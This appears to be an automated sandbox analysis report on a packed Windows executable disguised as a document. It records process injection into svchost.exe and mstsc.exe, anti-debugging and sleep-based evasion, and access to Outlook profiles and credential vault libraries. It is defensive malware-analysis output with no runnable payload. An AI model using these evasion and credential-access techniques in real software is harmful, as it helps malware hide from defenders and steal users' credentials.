Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: NZuQxWwOkTbZ.exe, 00000002.00000002.4143605796.000000000047E000.00000002.00000001.01000000.00000004.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4143319289.000000000047E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: DOC092024-0431202229487.exe, 00000000.00000003.1689587118.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, DOC092024-0431202229487.exe, 00000000.00000003.1689806543.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1696144266.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1782791889.000000000349E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1782791889.0000000003300000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1693222050.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4144953095.00000000046BE000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4144953095.0000000004520000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1787130944.00000000041CD000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1789604847.000000000437A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: DOC092024-0431202229487.exe, 00000000.00000003.1689587118.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, DOC092024-0431202229487.exe, 00000000.00000003.1689806543.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000001.00000003.1696144266.0000000003100000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1782791889.000000000349E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000002.1782791889.0000000003300000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1693222050.0000000002F00000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, mstsc.exe, 00000003.00000002.4144953095.00000000046BE000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4144953095.0000000004520000.00000040.00001000.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1787130944.00000000041CD000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000003.1789604847.000000000437A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mstsc.pdbGCTL source: svchost.exe, 00000001.00000003.1751655428.0000000006D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1751502120.0000000006B00000.00000004.00000020.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000003.1725911829.0000000004047000.00000004.00000001.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000003.1726302794.000000000418E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: mstsc.exe, 00000003.00000002.4143406843.0000000002811000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4145420454.0000000004B4C000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000000.1855702857.000000000289C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2074422264.000000001DF4C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: mstsc.pdb source: svchost.exe, 00000001.00000003.1751655428.0000000006D00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1751502120.0000000006B00000.00000004.00000020.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000003.1725911829.0000000004047000.00000004.00000001.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000002.00000003.1726302794.000000000418E000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: mstsc.exe, 00000003.00000002.4143406843.0000000002811000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe, 00000003.00000002.4145420454.0000000004B4C000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000000.1855702857.000000000289C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.2074422264.000000001DF4C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0084B090 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_0084B090

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0077C6CC push esi; ret	0_2_0077C6CE
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0073CB5D push edi; ret	0_2_0073CB5F
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0073CC76 push esi; ret	0_2_0073CC78
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0073CE51 push esi; ret	0_2_0073CE53
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0073CF3A push edi; ret	0_2_0073CF3C
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00737795 push ecx; ret	0_2_007377A8
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075BB9D push FFFFFF8Bh; iretd	0_2_0075BB9F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00404878 push edx; iretd	1_2_00404879
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004180CC push ss; iretd	1_2_004180D7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004021FE push ecx; ret	1_2_004021FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00413A18 push ebx; retf	1_2_00413A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041221F push ss; ret	1_2_00412220
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00413A23 push ebx; retf	1_2_00413A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00413A2E push ebx; retf	1_2_00413A2D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004073CB push esi; ret	1_2_004073CE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403380 push eax; ret	1_2_00403382
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040A623 push edi; retf	1_2_0040A62D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00418E2B push esi; ret	1_2_00418E2C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E76A push ebp; retf	1_2_0041E858
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041E71E push edx; iretd	1_2_0041E71F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0330225F pushad ; ret	1_2_033027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033027FA pushad ; ret	1_2_033027F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033309AD push ecx; mov dword ptr [esp], ecx	1_2_033309B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0330283D push eax; iretd	1_2_03302858
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045227FA pushad ; ret	3_2_045227F9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0452225F pushad ; ret	3_2_045227F9
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0452283D push eax; iretd	3_2_04522858
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_045509AD push ecx; mov dword ptr [esp], ecx	3_2_045509B6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_026618CC push es; iretd	3_2_026618C5
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_02644048 push esi; ret	3_2_0264404B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_026506A0 push ebx; retf	3_2_026506AA

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072F78E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		0_2_0072F78E
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00777F0E IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		0_2_00777F0E

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_00731E5A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00731E5A

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	API/Special instruction interceptor: Address: 4D73244
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D324
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D7E4
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D944
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D504
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D544
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220D1E4
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE22210154
Source: C:\Windows\SysWOW64\mstsc.exe	API/Special instruction interceptor: Address: 7FFE2220DA44

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0337096E rdtsc

1_2_0337096E

Source: C:\Windows\SysWOW64\mstsc.exe

Window / User API: threadDelayed 9843

Jump to behavior

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Evaded block: after key decision

graph_0-103724

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	API coverage: 5.1 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\mstsc.exe	API coverage: 2.6 %

Source: C:\Windows\SysWOW64\mstsc.exe TID: 7088	Thread sleep count: 128 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 7088	Thread sleep time: -256000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 7088	Thread sleep count: 9843 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 7088	Thread sleep time: -19686000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe TID: 1260	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe TID: 1260	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe TID: 1260	Thread sleep time: -67500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe TID: 1260	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Program Files (x86)\BMiBqafLHjzkobRiuPCIhaDFMyZMzcumuqkxLIIwKxCuVzBYyRmbudyDyFjmM\NZuQxWwOkTbZ.exe TID: 1260	Thread sleep time: -45000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0072DD92 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_0072DD92
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00762044 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00762044
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0076219F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_0076219F
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_007624A9 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_007624A9
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00756B3F _wcscat,_wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_00756B3F
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_00756E4A _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_00756E4A
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075F350 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0075F350
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075FD47 FindFirstFileW,FindClose,	0_2_0075FD47
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_0075FDD2 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0075FDD2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 3_2_0265C460 FindFirstFileW,FindNextFileW,FindClose,	3_2_0265C460

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0072E47B GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0072E47B

Source: mstsc.exe, 00000003.00000002.4143406843.0000000002811000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS
Source: NZuQxWwOkTbZ.exe, 00000005.00000002.4143851354.000000000084F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllT
Source: firefox.exe, 00000008.00000002.2076313522.00000271DDEBC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllSS

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

API call chain: ExitProcess graph end node

graph_0-103518

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_0337096E rdtsc

1_2_0337096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 1_2_004176F3 LdrLoadDll,

1_2_004176F3

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0076703C BlockInput,

0_2_0076703C

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0071374E GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,

0_2_0071374E

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_007446D0 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

0_2_007446D0

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe

Code function: 0_2_0084B090 EntryPoint,LoadLibraryA,GetProcAddress,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

0_2_0084B090

Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_04D734B0 mov eax, dword ptr fs:[00000030h]	0_2_04D734B0
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_04D73510 mov eax, dword ptr fs:[00000030h]	0_2_04D73510
Source: C:\Users\user\Desktop\DOC092024-0431202229487.exe	Code function: 0_2_04D71E70 mov eax, dword ptr fs:[00000030h]	0_2_04D71E70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332C310 mov ecx, dword ptr fs:[00000030h]	1_2_0332C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03350310 mov ecx, dword ptr fs:[00000030h]	1_2_03350310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A30B mov eax, dword ptr fs:[00000030h]	1_2_0336A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A30B mov eax, dword ptr fs:[00000030h]	1_2_0336A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0336A30B mov eax, dword ptr fs:[00000030h]	1_2_0336A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D437C mov eax, dword ptr fs:[00000030h]	1_2_033D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B035C mov eax, dword ptr fs:[00000030h]	1_2_033B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B035C mov eax, dword ptr fs:[00000030h]	1_2_033B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B035C mov eax, dword ptr fs:[00000030h]	1_2_033B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B035C mov ecx, dword ptr fs:[00000030h]	1_2_033B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B035C mov eax, dword ptr fs:[00000030h]	1_2_033B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B035C mov eax, dword ptr fs:[00000030h]	1_2_033B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033FA352 mov eax, dword ptr fs:[00000030h]	1_2_033FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033D8350 mov ecx, dword ptr fs:[00000030h]	1_2_033D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_033B2349 mov eax, dword ptr fs:[00000030h]	1_2_033B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03328397 mov eax, dword ptr fs:[00000030h]	1_2_03328397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03328397 mov eax, dword ptr fs:[00000030h]	1_2_03328397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03328397 mov eax, dword ptr fs:[00000030h]	1_2_03328397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332E388 mov eax, dword ptr fs:[00000030h]	1_2_0332E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332E388 mov eax, dword ptr fs:[00000030h]	1_2_0332E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0332E388 mov eax, dword ptr fs:[00000030h]	1_2_0332E388
